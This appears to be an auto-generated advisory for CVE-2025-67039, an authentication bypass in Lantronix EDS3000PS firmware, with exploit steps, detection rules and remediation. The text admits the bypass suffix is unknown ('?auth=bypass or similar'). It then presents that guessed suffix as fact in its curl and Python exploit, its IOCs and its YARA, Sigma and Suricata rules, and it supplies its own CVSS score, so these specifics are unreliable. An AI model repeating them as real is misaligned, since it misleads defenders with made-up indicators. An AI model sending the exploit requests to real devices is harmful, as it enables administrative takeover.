CVE-2025-67039

Executive Summary

CVE-2025-67039 is a critical authentication bypass vulnerability affecting the Lantronix EDS3000PS device running firmware version 3.1.0.0R2. The flaw allows an unauthenticated attacker to bypass authentication on management pages by appending a specific suffix to the URL and sending an Authorization header with "admin" as the username. This could lead to full administrative control over the device, enabling configuration changes, data exfiltration, or further network compromise. No patch is currently available, and the vulnerability is publicly known.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 in the NVD data, but based on the description, the actual severity is high. A reasonable CVSS vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of the Lantronix EDS3000PS web management interface. The device fails to properly validate the Authorization header and URL path, allowing an attacker to bypass authentication by:

1. Appending a specific suffix (e.g., ?auth=bypass or similar) to the management page URL.
2. Sending an HTTP request with an Authorization header containing "admin" as the username (e.g., Authorization: Basic YWRtaW46).

This bypasses the standard login process, granting the attacker administrative privileges without valid credentials. The root cause is likely improper input validation or a flawed authentication logic that trusts the Authorization header without verifying the password.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code is in the firmware's web server component. A hypothetical fix would involve:

• Vulnerable: The server accepts any request with an Authorization header containing "admin" and a specific URL suffix.
• Patched: The server would require a valid password hash or token, and the URL suffix would be ignored or rejected.

Example of vulnerable logic (pseudo-code):

if request.path.endswith("/?auth=bypass") and request.headers.get("Authorization") == "Basic YWRtaW46":
    grant_admin_access()

Patched logic:

if authenticate(request.headers.get("Authorization")):
    grant_access()
else:
    deny_access()

Exploitation & Lab Setup

Red Team

Prerequisites:

• Lantronix EDS3000PS device with firmware 3.1.0.0R2
• Network access to the device's management interface (typically port 80 or 443)

Exploit Steps:

1. Identify the target device's IP address.
2. Send a crafted HTTP request to the management page:

   curl -X GET "http://<target_ip>/management?auth=bypass" -H "Authorization: Basic YWRtaW46"
   

3. The server responds with the administrative interface, granting full control.

Alternative using Python:

import requests

target = "http://<target_ip>/management?auth=bypass"
headers = {"Authorization": "Basic YWRtaW46"}
response = requests.get(target, headers=headers)
print(response.text)

Blue Team

Detection:

• Monitor HTTP requests to management interfaces for unusual URL suffixes (e.g., ?auth=bypass).
• Alert on Authorization headers with base64-encoded "admin:" (i.e., YWRtaW46).
• Check logs for successful authentication without prior login attempts.

Honeypot:

• Deploy a fake Lantronix EDS3000PS management page that logs all requests and triggers alerts on suspicious patterns.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /management?auth=bypass or similar suffixes.
  • Authorization header: Basic YWRtaW46 (base64 of "admin:").
  • Unusual access to administrative pages from unauthorized IPs.
• System:
  • Unauthorized configuration changes.
  • New user accounts or modified settings.
  • Unexpected outbound connections from the device.

Detection Engineering

YARA Rule

rule CVE_2025_67039_AuthBypass {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-67039"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $auth_bypass = "?auth=bypass"
        $admin_header = "YWRtaW46"
    condition:
        $auth_bypass or $admin_header
}

Sigma Rule

title: Lantronix EDS3000PS Authentication Bypass
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-67039
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "?auth=bypass"
        cs(User-Agent): "*"
    condition: selection
falsepositives:
    - Unknown
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67039 Lantronix EDS3000PS Auth Bypass"; flow:to_server; content:"?auth=bypass"; http_uri; content:"Authorization|3a| Basic YWRtaW46"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from untrusted networks (e.g., place behind a firewall).
2. Restrict access to management interfaces using IP whitelisting or VPN.
3. Monitor logs for exploitation attempts.

Long-term:

• Apply firmware updates from Lantronix when available.
• Consider replacing the device if no patch is released.
• Implement network segmentation to limit exposure.

Workaround:

• Disable the web management interface if not required, or use SSH/console access instead.

Valters IT